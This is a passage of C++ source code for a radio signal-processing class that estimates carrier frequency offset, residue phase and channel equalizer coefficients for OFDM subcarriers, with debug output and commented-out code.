cfo_complex_cmul_imag[index-gap] = cfo_complex_real[index-gap]*cfo_complex_imag[index]-cfo_complex_imag[index-gap]*cfo_complex_real[index];\n        }\n        \n        double cfo_sum_real_re = 0.0;\n        double cfo_sum_imag_re = 0.0;\n\n        for(uint32_t index =0; index<(_cfo_symbol_num-gap); index++)\n        {\n            cfo_sum_real_re = cfo_sum_real_re + cfo_complex_cmul_real[index];\n            cfo_sum_imag_re = cfo_sum_imag_re + cfo_complex_cmul_imag[index];\n        }\n        \n\n        this->cfo_estimated = imag_real_angle(cfo_sum_imag_re, cfo_sum_real_re)*31.25*1024*1024/1280/(2*PI)/(gap*1.0);\n        // cfo_done_flag = true;\n        if( should_print_estimates ) {\n            cout << array_index << \" cfo_estimated (reestimated reestimated new)                                                   \" << cfo_estimated << endl;\n        }\n    }\n\n    times_cfo_estimated++;\n    dsp->tickle(&times_cfo_estimated);\n    dsp->tickle(&cfo_estimated);\n\n\n}\n\n// void RadioEstimate::handleDataToEq() {\n//     const auto load_size = rolling_data_queue.size();\n\n//     if( load_size < 10 ) {\n//         return;\n//     }\n\n//     // cout << rolling_data_queue.size() << \"\\n\";\n\n//     for(unsigned i = 0; i < 10; i++) {\n//         uint32_t a,b;\n//         std::tie(a,b) = rolling_data_queue.dequeue();\n//         // cout << \"   \" << HEX32_STRING(b) << \"\\n\";\n//     }\n\n//     // uint32_t a,b;\n//     // std::tie(a,b) = rolling_data_queue.dequeue();\n//     // cout << \"a: \" << a << \"\\n\";\n//     // cout << \"b: \" << b << \"\\n\";\n\n//     while(rolling_data_queue.size()) {\n//         rolling_data_queue.dequeue();\n//     }\n// }\n\n\nvoid RadioEstimate::monitorSendResidue() {\n\n    auto now = std::chrono::steady_clock::now();\n\n\n    // cout << \"delta\" << endl;\n\n    // soapy->status.set(path)\n    // watch_status_timepoint = std::chrono::steady_clock::now();\n\n    size_t elapsed_us = std::chrono::duration_cast<std::chrono::microseconds>( \n    now - last_residue_timepoint\n    ).count();\n\n    if( !GET_SKIP_CHECK_FB_DATARATE() ) {\n\n        if( elapsed_us > 100000 ) { // 55000\n            const std::string path = std::string(\"rx.re[\") + \n                                     std::string( std::to_string(this->array_index) ) + \n                                     std::string(\"].slow_residue\");\n            cout << path << \" elapsed_us \" << elapsed_us << endl;\n        }\n    }\n\n    last_residue_timepoint = now;\n}\n\n\nvoid RadioEstimate::applyResidueToCfo() {\n    if(enable_residue_to_cfo && (!pause_residue)) {\n\n        auto now = std::chrono::steady_clock::now();\n        size_t elapsed_us = std::chrono::duration_cast<std::chrono::microseconds>( \n            now - last_cfo_residue\n            ).count();\n\n        if( elapsed_us > residue_to_cfo_delay ) {\n            last_cfo_residue = now;\n\n            double delta = residue_phase_trend * residue_to_cfo_factor;\n\n\n            cout << \"RESIDUE_PHASE_TREND: \" << residue_phase_trend \n                 << \", pre adjust cfo: \" << cfo_estimated_sent\n                 << \", delta cfo: \" << delta  << \"\\n\";\n\n            cfo_estimated = delta;\n\n            updatePartnerCfo();\n\n        }\n    }\n}\n\n///\n/// Called by dspRunResiduePhase() This prints an error when\n/// that function calculates a very small residue value\n/// this function is rate limited\nvoid RadioEstimate::printSmallMagResidue(double cfo_mag2, double n_imag, double n_real, uint32_t n) {\n    \n    constexpr double rate_limit = 3E6;\n\n    auto now = std::chrono::steady_clock::now();\n    size_t elapsed_us = std::chrono::duration_cast<std::chrono::microseconds>( \n    now - last_print_small_mag\n    ).count();\n\n    // supressed print\n    if( elapsed_us > rate_limit ) {\n        if( !sfo_sto_use_duplex ) {\n            cout << \"r\" << array_index\n                 << \" first sample given to dspRunResiduePhase() had a small mag^2 of \"\n                 << cfo_mag2 << \" \" << n_imag << \", \" << n_real << \" \"\n                 << HEX32_STRING(n) << \"\\n\";\n         }\n\n        // update timer\n        last_print_small_mag = now;\n    }\n\n}\n\n// only call if the buffer is big enough\nvoid RadioEstimate::dspRunResiduePhase(const std::vector<uint32_t>& cfo_buf_chunk) {\n\n    //// for test purpose\n    // std::vector<uint32_t> cfo_buf_chunk;\n\n     ////////////////////////////////////////////////////////////\n\n    const auto wanted = (_cfo_symbol_num)/GET_CFO_SYMBOL_PULL_RATIO();//500; //_cfo_symbol_num/GET_CFO_SYMBOL_PULL_RATIO();\n\n    const auto in_size = cfo_buf_chunk.size();\n\n    const auto slice_point = in_size - wanted;\n    \n    const std::vector<uint32_t> tail(cfo_buf_chunk.begin() + slice_point, cfo_buf_chunk.end());\n\n    ///////// calculate cfo\n    std::vector<double> cfo_angle;\n    cfo_angle.resize(wanted, 0.0);\n    double cfo_mag2;\n\n    constexpr double mag_tol = 2000;\n\n    double save_imag, save_real;\n    bool save_set = false;\n\n    bool mag_error = false;\n    (void)mag_error;\n    ///// get cfo_angle\n    uint32_t index2 = 0;\n    for(const auto n : tail)\n    {\n        double n_imag;\n        double n_real;\n\n        ishort_to_double(n, n_imag, n_real);\n        cfo_mag2 = (n_imag*n_imag) + (n_real*n_real);\n\n        // cout << \"mag: \" << cfo_mag2 << \" \" << n_imag << \", \" << n_real << \"\\n\";\n\n        if( cfo_mag2 <= mag_tol ) {\n            // data was too small\n\n            if( !save_set ) {\n                if( array_index == 0 ) {\n                    printSmallMagResidue(cfo_mag2, n_imag, n_real, n);\n                    mag_error = true;\n                }\n                // return;\n            } else {\n                // \"hold data\" by writing the previous good sample over the current bad samples\n                n_imag = save_imag;\n                n_real = save_real;\n            }\n        } else {\n\n            // always save the data\n            save_imag = n_imag;\n            save_real = n_real;\n            save_set = true;\n\n        }\n\n        // proceed as normal\n        double atan_angle = imag_real_angle(n_imag, n_real);\n        cfo_angle[index2] = atan_angle;\n\n        index2++;\n    }\n\n    // if( mag_error ) {\n    //     for(const auto n : tail) {\n    //         cout << HEX32_STRING(n) << \"\\n\";\n    //     }\n    // }\n    \n    //// phase unwrap\n    unwrap_phase_inplace(cfo_angle);\n    \n\n    double cfo_x_mean = (wanted-1)/2.0;\n    double cfo_y_mean = 0.0;\n    \n    uint32_t x = 0;\n\n    double cfo_xx_sum = 0.0;\n\n    for(unsigned index = 0; index<wanted; index++)\n    {\n        cfo_y_mean = cfo_y_mean + cfo_angle[index];\n\n        cfo_xx_sum = cfo_xx_sum + (x*1.0-cfo_x_mean)*(x*1.0-cfo_x_mean);\n\n        x=x+1;\n    }\n\n    cfo_y_mean = cfo_y_mean/wanted;\n\n    double cfo_yx_sum = 0.0;\n    \n    x = 0;\n\n    for(unsigned index = 0; index<wanted; index++)  \n    {\n        cfo_yx_sum = cfo_yx_sum + (cfo_angle[index]-cfo_y_mean)*(x*1.0-cfo_x_mean);\n\n        x=x+1;\n    }     \n\n    double slope_temp = cfo_yx_sum/cfo_xx_sum;\n    double intercept_temp = cfo_y_mean - slope_temp*cfo_x_mean;\n\n\n\n    this->residue_phase_estimated = slope_temp*(wanted-100)+intercept_temp;\n\n    \n     \n\n\n    double did_send = 0;\n\n    if(residue_phase_flag)\n    {\n\n        /// here is where you would put comparisons about previous vs current estimate\n        /// this could help detect oscilations\n             \n        this->residue_phase_estimated_pre = residue_phase_estimated; // currently unused\n\n        // if(abs(residue_phase_estimated) > 1.5708 ) {\n        //        residue_phase_estimated /= 3.0;\n        // }\n\n        drop_residue_counter++;\n\n        monitorSendResidue();\n        \n        if( drop_residue_counter >= drop_residue_target ) {\n            drop_residue_counter = 0;\n            // keep\n        } else {\n            // drop\n            return;\n        }\n\n\n\n        if( !pause_residue ) {\n            if(cfo_estimated_sent<0) {\n                dsp->setPartnerPhase(peer_id, residue_phase_estimated*(-1.0));\n                did_send = residue_phase_estimated*(-1.0);\n            } else {\n                dsp->setPartnerPhase(peer_id, residue_phase_estimated);\n                did_send = residue_phase_estimated;\n            }\n        }\n\n        this->residue_phase_history.push_back(residue_phase_estimated);\n\n        if( residue_phase_history.size() == 10 ) {\n            residue_phase_trend = 0;\n            for(auto t : residue_phase_history) {\n                residue_phase_trend += t;\n            }\n\n            residue_phase_trend /= residue_phase_history.size();\n\n            applyResidueToCfo();\n            dsp->tickle(&residue_phase_trend);\n\n            residue_phase_history.erase(residue_phase_history.begin(), residue_phase_history.end());\n        }\n\n            \n        this->times_residue_phase_sent++;\n    }\n\n\n    // FIXME this is now incorrect because of addition of drop_residue_counter\n    if( array_index == 0 && GET_RESIDUE_DUMP_ENABLED() ) {\n        static bool fileopen = false;\n        static ofstream ofile;\n        if(!fileopen) {\n            fileopen = true;\n            std::string fname = GET_RESIDUE_DUMP_FILENAME();\n            ofile.open(fname);\n            cout << \"OPENED \" << fname << \"\\n\";\n        }\n\n        for(auto n : tail)\n        {\n            ofile << HEX32_STRING(n) << \"\\n\";\n        }\n            // myfile << \"found_i \" << found_i << \" was at frame \" << demod_buf_accumulate[0][found_i].second << endl;\n\n        if( residue_phase_flag ) {\n            ofile << \"GG \" << did_send << \"\\n\";\n        }\n\n        // cout << \"d\";\n    }\n}\n\n\n// for flip positive and negative frequency\nstatic void flipEqSpectrum(std::vector<uint32_t>& v ) {\n    for(int index = 1; index < 512; index++)\n    {\n        const uint32_t temp = v[index];\n\n        v[index] = v[1024-index];\n        v[1024-index] = temp;\n    }\n}\n\n\n\nvoid RadioEstimate::setupEqOne(void) {\n    equalizer_coeff_one.resize(1024);\n\n    const auto random_rotation_array = siglabs::data::vectors::randomRotation();\n\n    auto random_rotation_array_flipped = random_rotation_array;\n\n    flipEqSpectrum(random_rotation_array_flipped);\n\n    // build equalizer_coeff_one so that we either have random rotation\n    // or zero\n    // use this equation after we've flipped it\n    for(unsigned i = 0; i<1024; i++) {\n        if( (i >= (1024-(32*4))) && (i%4==2) ) {\n            equalizer_coeff_one[i] = random_rotation_array_flipped[i];\n        } else {\n            equalizer_coeff_one[i] = 0;\n        }\n    }\n\n}\n\nvoid RadioEstimate::sendEqOne(void) {\n    dsp->setPartnerEqOne(peer_id, equalizer_coeff_one);\n}\n\nvoid RadioEstimate::printEqOne(void) {\n    cout << \"printEqOne()\\n\\n\";\n    for(const auto w : equalizer_coeff_one) {\n        cout << HEX32_STRING(w) << \"\\n\";\n    }\n    cout << \"\\n\\n\";\n}\n\n\n\nvoid RadioEstimate::setRandomRotationEq(const bool send_to_partner)\n{\n\n    const auto random_rotation_array = siglabs::data::vectors::randomRotation();\n\n    for(int index = 0; index<1024; index++)\n    {\n        double n_imag;\n        double n_real;\n        ishort_to_double(random_rotation_array[index], n_imag, n_real);\n        double atan_angle = imag_real_angle(n_imag, n_real);\n\n        channel_angle_sent_temp[index] = atan_angle;\n\n        equalizer_coeff_sent[index] = random_rotation_array[index];\n    }\n\n\n    flipEqSpectrum(equalizer_coeff_sent);\n\n    if(send_to_partner) {\n        updatePartnerEq(false, false);\n    }\n}\n\n// input\n// output\n// margin\n// margin_sign\nvoid RadioEstimate::rotateVectorBySto(\n    const std::vector<double>& input,\n    std::vector<double>& output,\n    const double m,\n    const double sign) {\n\n    for(int index = 0; index<513; index++)\n    {\n        output[index] = 2*M_PI*index*sign*m/1024.0+input[index];\n    }\n    for(int index = 513; index<1024; index++)\n    {\n        output[index] = 2*M_PI*(index-1024)*sign*m/1024.0+input[index];\n    }\n\n}\n\n/**\nThis rotates the eq, which will then be sent to the tx side.  This rotation is needed because \nwe put the fft sampling instance not at the edge of the cp, but in the middle of the cp.  \nThis non ideal sampling instance causes all subcarreirs to rotate which\nthis function counteracts.  `margin` comes from `GET_STO_MARGIN()`.\n\nInput Member Variables:\n-------------------\n- margin\n- channel_angle_sent_temp\n\nOutput Member Variables:\n-----------------------\n- equalizer_coeff_sent\n\n*/\nvoid RadioEstimate::dspRunStoEq(const double margin_sign)\n{\n    double mag_coeff = 32767.0 / GET_EQ_MAGNITUDE_DIVISOR();\n\n    cout << \"dspRunStoEq()\" << endl;\n\n    std::unique_lock<std::mutex> lock(_channel_angle_sent_mutex);\n\n\n     ////// may use the current sto_adjustment for margin???????????????????????\n    // input\n    // output\n    // margin\n    // margin_sign\n    rotateVectorBySto(channel_angle_sent, channel_angle_sent_temp, margin, margin_sign);\n\n    for(int index = 0; index<1024; index++) {\n        int32_t real_part = (int32_t)(cos(channel_angle_sent_temp[index])*mag_coeff);\n        int32_t imag_part = (int32_t)(sin(channel_angle_sent_temp[index])*mag_coeff);\n        equalizer_coeff_sent[index] = (((uint32_t)(imag_part&0xffff))<<16) + ((uint32_t)(real_part&0xffff));\n    }\n\n    cout<<\"Using Channel EQ to correct STO first!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"<<endl;\n\n    // for flip positive and negative frequency\n    // eventually, we do not need this part.\n    for(int index = 1; index < 512; index++)\n    {\n        uint32_t temp = equalizer_coeff_sent[index];\n\n        equalizer_coeff_sent[index] = equalizer_coeff_sent[1024-index];\n        equalizer_coeff_sent[1024-index] = temp;\n    }\n}\n\n// double RadioEstimate::fractionalStoToEq(const int index) const {\n//     if(!fractional_eq_allowed) {\n//         return 0.0;\n//     }\n\n//     int index2 = index;\n\n//     if(index < 513){\n//     } else {\n//         index2 = index-1024;\n//     }\n\n//     constexpr double sign = -1.0;\n\n//     // currently frac_sto is used here as a \"hand tune\" from js\n//     // eventually we won't need this and after this frac_sfo should be removed from\n//     // class\n//     double m = sto_delta*frac_sto;\n\n//     return 2*M_PI*index2*sign*m/1024.0;\n// }\n\n\nvoid RadioEstimate::saveChannel(void) {\n    if(!save_next_all_sc) {\n        return;\n    }\n\n    all_sc_saved = all_sc;\n\n    save_next_all_sc = false;\n}\n\nstd::vector<uint32_t> RadioEstimate::defaultEqualizerCoeffSent(const double mag_coeff) {\n    std::vector<uint32_t> ret;\n\n    const int32_t initial_real_part = (int32_t)(cos(0.0)*mag_coeff);\n    const int32_t initial_imag_part = (int32_t)(sin(0.0)*mag_coeff);\n    const uint32_t initial_value = (((uint32_t)(initial_imag_part&0xffff))<<16) + ((uint32_t)(initial_real_part&0xffff));\n    \n    // fill with initial value\n    ret.resize(1024, initial_value);\n\n    return ret;\n}\n\n\nvoid RadioEstimate::dspRunChannelEst(void) {\n\n    // bool keep_running = dspRunChannelEstBuffers();\n    // bool keep_running = dspRunChannelEstBuffersComplexFilter();\n    bool keep_running = dspRunChannelEstBuffersComplexFilterIIR();\n\n    if(!keep_running) {\n        return;\n    }\n\n    if( adjust_fractional_sto ) {\n        if( fractional_sto_counter >= fractional_sto_delay ) {\n            fractional_sto_counter = 0;\n            compensateFractionalSto();\n        } else {\n            fractional_sto_counter++;\n        }\n    }\n\n\n    if(pause_eq) {\n        return;\n    }\n\n\n    if(use_all_pilot_eq_method) {\n        dspRunChannelEstEqAllScAllPilot();\n    } else {\n         if(use_sto_eq_method) {\n             // cout << \"Eq using dspRunChannelEstWithSTO();\\n\";\n             dspRunChannelEstWithSTO();\n         } else {\n             // cout << \"Eq using dspRunChannelEstEqAllSc();\\n\";\n             dspRunChannelEstEqAllSc();\n         }\n    }\n}\n\nvoid RadioEstimate::initChannelFilter(void) {\n\n    for(int i=0; i<1024; i++) {\n        for(int j=0; j<25; j++) {\n            channel_angle_filtering_buffer[i][j] = 0.0;\n        }\n    }\n\n    eq_filter_index = 0;\n\n    // initilize Complex Filter\n    eq_filter.resize(25);\n    for( auto& vec : eq_filter ) {\n        vec.resize(1024, {0,0});\n    }\n\n    eq_iir.resize(1024, 0);\n\n\n    eq_iir_gain = GET_EQ_IIR_GAIN();\n}\n\nvoid RadioEstimate::updateChannelFilterIndex(void) {\n    if(should_run_background && _eq_use_filter)\n    {\n        eq_filter_index++;\n        if(eq_filter_index >= 25)\n        {\n            eq_filter_index = 0;\n\n            // cout << \"//// Continuous updatePartnerEq() ////\" << endl;\n            // updatePartnerEq();\n        }\n    }\n}\n\n///\n/// Average or other simple things from eq data.\n/// returns true if other code should run\nbool RadioEstimate::dspRunChannelEstBuffers(void) {\n\n    if(all_sc.size() != ALL_SC_CHUNK) {\n        cout << \"dspRunChannelEst(1) wrong !!! \" << all_sc.size() << \" != \" << ALL_SC_CHUNK << endl;\n        return false;\n    }\n    // std::vector<uint32_t> all_sc;\n    // all_sc = all_sc_buf.get(ALL_SC_CHUNK);\n\n    uint32_t index = 0;\n    double channel_angle_current;\n    for(const auto n : all_sc)\n    {\n        double n_imag;\n        double n_real;\n        ishort_to_double(n, n_imag, n_real);\n        const double atan_angle = imag_real_angle(n_imag, n_real);\n\n        //mag_coeff = 32767.0*sqrt(n_imag*n_imag + n_real*n_real)/(n_imag*n_imag + n_real*n_real+100);  //try this one later. may affect shift in cs20 at tx.\n        const bool ok = \n            (n_real<=32767.0) &&\n            (n_real>=-32768.0) &&\n            (n_imag<=32767.0) &&\n            (n_imag>=-32768.0);\n\n        if(ok) {\n            channel_angle_current = atan_angle*-1.0;\n            if(_eq_use_filter) {\n                /// mean filtering\n                if(should_run_background) {\n                    channel_angle_filtering_buffer[index][eq_filter_index] = channel_angle_current;\n\n                    channel_angle_current = 0.0;\n                    for(int j = 0; j < 25; j++) {\n                        channel_angle_current += channel_angle_filtering_buffer[index][j];\n                    }\n\n                    double temp_max = channel_angle_filtering_buffer[index][0];\n                    double temp_min = channel_angle_filtering_buffer[index][0];\n\n                    for(int j = 1; j < 25; j++) {\n                        if(temp_max < channel_angle_filtering_buffer[index][j]) {\n                            temp_max = channel_angle_filtering_buffer[index][j];\n                        }\n\n                        if(temp_min > channel_angle_filtering_buffer[index][j]) {\n                            temp_min = channel_angle_filtering_buffer[index][j];\n                        }\n                    }\n\n                    channel_angle_current = (channel_angle_current - temp_min - temp_max) / (25.0-2.0);\n                    //cout << index<<\"            \"<<eq_filter_index<<endl;\n                } // should run background\n                \n                    //////////////////////////////////////////////////////////////////////////////\n            } else {\n                // don't run filter\n            }\n            // channel_angle[index] = 1*channel_angle_current + 0*channel_angle[index];\n            channel_angle[index] = channel_angle_current;\n\n        } else {\n            cout<< \"EQ angle data overflow ?????????????????????????????\"<<endl; \n        }\n\n        index++;\n    }\n\n    if(index!=1024) {\n        cout << \"dspRunChannelEst() had illegal value of index after loop: \" << index <<\"\\n\";\n    }\n\n    //tickleChannelAngle();\n\n    return true;\n\n    //for debug purpuse\n    // if(should_run_background)\n    // {\n\n    // // if((index==2) || (index==6) || (index==10))\n    // //     cout<<\"channel  \"<<index<<\":            \"<<channel_angle[index]<<endl;\n\n    // //  if((index==4) || (index==8) || (index==12))\n    // //     cout<<\"channel  \"<<index<<\":                                 \"<<channel_angle[index]<<endl;\n    //     if(index==2)\n    //     {\n    //         cout<<channel_angle_current<<\",\"<<endl;\n    //     }\n    // }\n}\n\n// bool RadioEstimate::demopilotangle(void){\n\n//      if(all_sc.size() != ALL_SC_CHUNK) {\n//         cout << \"dspRunChannelEst(2) wrong !!! \" << all_sc.size() << \" != \" << ALL_SC_CHUNK << endl;\n//         return false;\n//     }\n\n//     uint32_t index = 0;\n\n    \n//     for(int index = 2; index < 128; index+=4)\n//     {\n//         double n_imag;\n//         double n_real;\n//         ishort_to_double(all_sc[index], n_imag, n_real);\n//         pilot_angle[index] = imag_real_angle(n_imag, n_real);\n\n//     }\n\n//     for(index = 894; index < 1022; index+=4)\n//     {\n//         double n_imag;\n//         double n_real;\n//         ishort_to_double(all_sc[index], n_imag, n_real);\n//         pilot_angle[index] = imag_real_angle(n_imag, n_real);\n//     }\n\n\n//     if(array_index == 0) {\n//         dsp->tickle(&pilot_angle);\n//     }\n\n//     // if((print_pilot_angle_switch) && (!applyeqonce))\n//     // {\n//     //     auto timenow = chrono::system_clock::to_time_t(chrono::system_clock::now());\n//     //     cout<<\"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSs\"<<ctime(&timenow)<<endl; \n//     //     for(int index = 2; index < 128; index+=4)\n//     //     {\n//     //         cout<<\"0x\"<<HEX32_STRING(all_sc[index])<<\",    \"<<pilot_angle[index]<<\",\"<<endl;\n//     //     }\n\n//     //     cout<<\"0x\"<<HEX32_STRING(all_sc[130])<<\",    \"<<\"0x\"<<HEX32_STRING(all_sc[134])<<\",    \"<<\"0x\"<<HEX32_STRING(all_sc[138])<<\",    \"<<endl;\n\n//     //     if(all_sc[130]<32768)\n//     //         cout << all_sc[130]*3.14/32768.0<<endl;\n//     //     else\n//     //         cout <<(0x10000-all_sc[130])*(-3.14)/32768.0<<endl;\n\n\n//     //     cout<<\"0x\"<<HEX32_STRING(all_sc[142])<<\",    \"<<\"0x\"<<HEX32_STRING(all_sc[146])<<\",    \"<<\"0x\"<<HEX32_STRING(all_sc[150])<<\",    \"<<\"0x\"<<HEX32_STRING(all_sc[154])<<endl;\n\n//     //     cout<<\"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\"<<endl;\n//     // }\n\n\n\n//     return true;\n\n\n\n\n\n\n// }\n\n\nbool RadioEstimate::dspRunChannelEstBuffersComplexFilterIIR(void){\n\n    if(all_sc.size() != ALL_SC_CHUNK) {\n        cout << \"dspRunChannelEst(3) wrong !!! \" << all_sc.size() << \" != \" << ALL_SC_CHUNK << endl;\n        return false;\n    }\n\n\n   \n\n\n    uint32_t index = 0;\n    for(const auto n : all_sc)\n    {\n        double n_imag;\n        double n_real;\n        ishort_to_double(n, n_imag, n_real);\n\n        //mag_coeff = 32767.0*sqrt(n_imag*n_imag + n_real*n_real)/(n_imag*n_imag + n_real*n_real+100);  //try this one later. may affect shift in cs20 at tx.\n        const bool ok = \n            (n_real<=32767.0) &&\n            (n_real>=-32768.0) &&\n            (n_imag<=32767.0) &&\n            (n_imag>=-32768.0);\n\n        if(ok) {\n\n            // channel_angle_current = atan_angle*-1.0;\n            if(_eq_use_filter && should_run_background) {\n                // add all real and imag to make large vector\n                fixed_iir_16(&(eq_iir[index]), &n, eq_iir_gain);\n\n                double imag_iir;\n                double real_iir;\n                ishort_to_double(eq_iir[index], imag_iir, real_iir);\n                \n                // note this is NEGATIVE result\n                channel_angle[index] = -imag_real_angle(imag_iir, real_iir);\n                //cout << index<<\"            \"<<eq_filter_index<<endl;\n            } else {\n                // note this is NEGATIVE result\n                channel_angle[index] = -imag_real_angle(n_imag, n_real);\n            }\n        } else {\n            cout<< \"EQ angle data overflow ?????????????????????????????\"<<endl; \n        }\n\n        index++;\n    }\n\n    if(index!=1024) {\n        cout << \"dspRunChannelEst() had illegal value of index after loop: \" << index <<\"\\n\";\n    }\n\n    //tickleChannelAngle();\n\n    return true;\n\n\n\n\n\n}\n\nbool RadioEstimate::dspRunChannelEstBuffersComplexFilter(void) {\n\n    if(all_sc.size() != ALL_SC_CHUNK) {\n        cout << \"dspRunChannelEst(4) wrong !!! \" << all_sc.size() << \" != \" << ALL_SC_CHUNK << endl;\n        return false;\n    }\n\n    uint32_t index = 0;\n    for(const auto n : all_sc)\n    {\n        double n_imag;\n        double n_real;\n        ishort_to_double(n, n_imag, n_real);\n\n        //mag_coeff = 32767.0*sqrt(n_imag*n_imag + n_real*n_real)/(n_imag*n_imag + n_real*n_real+100);  //try this one later. may affect shift in cs20 at tx.\n        const bool ok = \n            (n_real<=32767.0) &&\n            (n_real>=-32768.0) &&\n            (n_imag<=32767.0) &&\n            (n_imag>=-32768.0);\n\n        if(ok) {\n\n            eq_filter[eq_filter_index][index] = std::make_pair(n_imag, n_real);\n\n            double imag_sum = 0;\n            double real_sum = 0;\n\n            // channel_angle_current = atan_angle*-1.0;\n            if(_eq_use_filter && should_run_background) {\n                // add all real and imag to make large vector\n                double a_imag;\n                double a_real;\n                for(unsigned j = 0; j < 25; j++) {\n                    // eq_filter[eq_filter_index][index]\n                    std::tie(a_imag, a_real) = eq_filter[j][index];\n                    imag_sum += a_imag;\n                    real_sum += a_real;\n                    // cout << \"imag: \" << a_imag << \"\\n\";\n                }\n                \n                // note this is NEGATIVE result\n                channel_angle[index] = -imag_real_angle(imag_sum, real_sum);\n                //cout << index<<\"            \"<<eq_filter_index<<endl;\n            } else {\n                // note this is NEGATIVE result\n                channel_angle[index] = -imag_real_angle(n_imag, n_real);\n            }\n        } else {\n            cout<< \"EQ angle data overflow ?????????????????????????????\"<<endl; \n        }\n\n        index++;\n    }\n\n    if(index!=1024) {\n        cout << \"dspRunChannelEst() had illegal value of index after loop: \" << index <<\"\\n\";\n    }\n\n    //tickleChannelAngle();\n\n    return true;\n}\n\nvoid RadioEstimate::tickleChannelAngle(void) {\n    if( _dashboard_eq_update_counter >= _dashboard_eq_update_ratio) {\n        if(_dashboard_only_update_channel_angle_r0) {\n            // only run for index 0, data is identital at the moment\n            if(array_index == 0) {\n                dsp->tickle(&channel_angle);\n            }\n        } else {\n            // run for any index\n            dsp->tickle(&channel_angle);\n        }\n        // use same counter for this as well\n        dsp->tickle(&sto_delta);\n        _dashboard_eq_update_counter = 0;\n    } else {\n        _dashboard_eq_update_counter++;\n    }\n        // cout << _dashboard_eq_update_counter << endl;\n}\n\n\nvoid RadioEstimate::dspRunChannelEstWithSTO(void) {\n\n    const double mag_coeff = 32767.0 / GET_EQ_MAGNITUDE_DIVISOR();\n\n    std::unique_lock<std::mutex> lock(_channel_angle_sent_mutex);\n\n    // default value of 0 degrees\n    equalizer_coeff_sent = defaultEqualizerCoeffSent(mag_coeff);\n\n    if(array_index == 0)\n    {\n        // sc % 4 == 2\n        for(int index = 2; index<1024; index+=4)\n        {\n            channel_angle_sent_temp[index] = channel_angle_sent[index];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n\n        // (sc % 4 == 1) gets it's value from +1\n        for(int index = 1; index<1023; index+=4)\n        {\n            // if( index == 5 ) {\n            //     cout << \"[1,\" << channel_angle_sent_temp[index] << \",\" << channel_angle_sent[index] << \",\" << channel_angle_sent_temp[index+1] << \",\" << channel_angle_sent[index+1] << \",\" << channel_angle[index+1] <<  \"],\\n\";\n            // }\n            channel_angle_sent_temp[index] = channel_angle_sent_frozen[index] + channel_angle[index+1];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n\n        // (sc % 4 == 3) gets it's value from -1\n        for(int index = 3; index<1024; index+=4)\n        {\n            channel_angle_sent_temp[index] = channel_angle_sent_frozen[index] + channel_angle[index-1];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n    }\n    else if(array_index == 1)\n    {\n        // sc % 4 == 0\n        for(int index = 4; index<1024; index+=4)\n        {\n            channel_angle_sent_temp[index] = channel_angle_sent[index];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n\n        for(int index = 3; index<1023; index+=4)\n        {\n            channel_angle_sent_temp[index] = channel_angle_sent_frozen[index] + channel_angle[index+1];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n\n        for(int index = 5; index<1024; index+=4)\n        {\n            channel_angle_sent_temp[index] = channel_angle_sent_frozen[index] + channel_angle[index-1];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n    }\n\n    // for flip positive and negative frequency\n    // eventually, we do not need this part.\n    for(int index = 1; index < 512; index++)\n    {\n        uint32_t temp = equalizer_coeff_sent[index];\n\n        equalizer_coeff_sent[index] = equalizer_coeff_sent[1024-index];\n        equalizer_coeff_sent[1024-index] = temp;\n    }\n\n    \n    updateChannelFilterIndex();\n\n\n    cheq_done_flag = true;\n    \n\n    times_dsp_run_channel_est++;\n\n    saveChannel();\n\n    sto_delta = calculateEqStoDelta();\n    applyEqToSto();\n}\n\n\n\n///\n/// EventDsp.cpp handle_all_sc_callback() loads samples \n/// into our all_sc buf.  after that we get an update\n///\n/// flow\n///   split all inputs into real,imag\n///   convert this into the angle theta (atan_angle)\n///   all gets written into channel_angle which is our observation of the env\n///  next\n///   equalizer_coeff_sent is reset to all the same value\n///  in the large if(array), different pilot subcarreirs are considered\n///   based on index\n///   channel_angle_sent_temp is updated by computations based \n///      on channel_angle and channel_angle_sent\n///   equalizer_coeff_sent is calculated at the same time\n///   \n///   at the bottom the eq_coeff_sent is flipped up/down\n///   seems like the sent value is not actually sent, instead\n///   it is ready to be sent\n///   \n///   channel_angle_sent is never written in this function\n///   it is written in updatePartnerEq() iff we update\n\nvoid RadioEstimate::dspRunChannelEstEqAllSc(void) {\n    \n    const double mag_coeff = 32767.0 / GET_EQ_MAGNITUDE_DIVISOR();\n\n    std::unique_lock<std::mutex> lock(_channel_angle_sent_mutex);\n\n    // default value of 0 degrees\n    equalizer_coeff_sent = defaultEqualizerCoeffSent(mag_coeff);\n\n    if(array_index == 0)\n    {\n        // sc % 4 == 2\n        for(int index = 2; index<1024; index+=4)\n        {\n            channel_angle_sent_temp[index] = channel_angle_sent[index] + channel_angle[index];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n\n        // (sc % 4 == 1) gets it's value from +1\n        for(int index = 1; index<1023; index+=4)\n        {\n            // if( index == 5 ) {\n            //     cout << \"[0,\" << channel_angle_sent_temp[index] << \",\" << channel_angle_sent[index] << \",\" << channel_angle_sent_temp[index+1] << \",\" << channel_angle_sent[index+1] << \",\" << channel_angle[index+1] <<  \"],\\n\";\n            // }\n            channel_angle_sent_temp[index] = channel_angle_sent[index] + channel_angle[index+1];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n\n        // (sc % 4 == 3) gets it's value from -1\n        for(int index = 3; index<1024; index+=4)\n        {\n            channel_angle_sent_temp[index] = channel_angle_sent[index] + channel_angle[index-1];\n            equalizer_coeff_sent[index] = angle_to_ishort(channel_angle_sent_temp[index],mag_coeff);\n        }\n    }\n    else if(array_index == 1)\n    {\n        // sc % 4 == 0\n        for(int index = 4; index<1024; index+=4)\n        {\n            